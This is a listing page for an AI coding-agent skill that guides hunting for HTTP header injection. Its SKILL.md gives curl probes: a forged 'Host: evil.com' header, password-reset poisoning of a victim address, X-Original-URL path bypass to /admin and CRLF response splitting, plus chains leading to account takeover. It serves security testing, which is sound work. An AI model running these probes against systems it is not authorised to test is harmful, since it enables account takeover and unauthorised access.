dragonked2/alphacode/hunt-headers

Claude Code and agent skill by dragonked2/alphacode

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

HTTP header injection — Host header, password reset poisoning, CRLF, response splitting, path bypass via headers.

Install

npx vskill@latest install dragonked2/alphacode/hunt-headers

SKILL.md

HEADER INJECTION HUNTING — 3 BULLETS MAX

Core: Server trusts user-controlled headers without validation.

DIFFERENTIAL

bash
# Host header injection
curl -s -H "Host: evil.com" "https://target.com/" -o /dev/null -w "%{http_code}"
# Password reset poisoning
curl -s -X POST "https://target.com/auth/reset" -H "Host: evil.com" -d "email=victim@test.com"
# Path bypass
curl -s -H "X-Original-URL: /admin" "https://target.com/"
curl -s -H "X-Rewrite-URL: /admin" "https://target.com/"
# CRLF injection
curl -s "https://target.com/?name=test%0d%0aInjected-Header:value" -I

ATTACKS

Host header: password reset poisoning, cache poisoning, SSRF
X-Forwarded-Host: reflection, cache poisoning
X-Original-URL/X-Rewrite-URL: path bypass, WAF bypass
CRLF: response splitting, XSS, cookie injection, cache poisoning

CHAINS

Host header → password reset poisoning → ATO → Critical
Host header → cache poisoning → XSS for all → Critical
CRLF → response splitting → XSS → High
X-Original-URL → path bypass → admin access → Critical

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

See the full security report

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

Popularity

7-day trend score
0

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/dragonked2/alphacode/hunt-headers/badge)](https://verified-skill.com/skills/dragonked2/alphacode/hunt-headers)

Something wrong with this skill or its page? Tell us.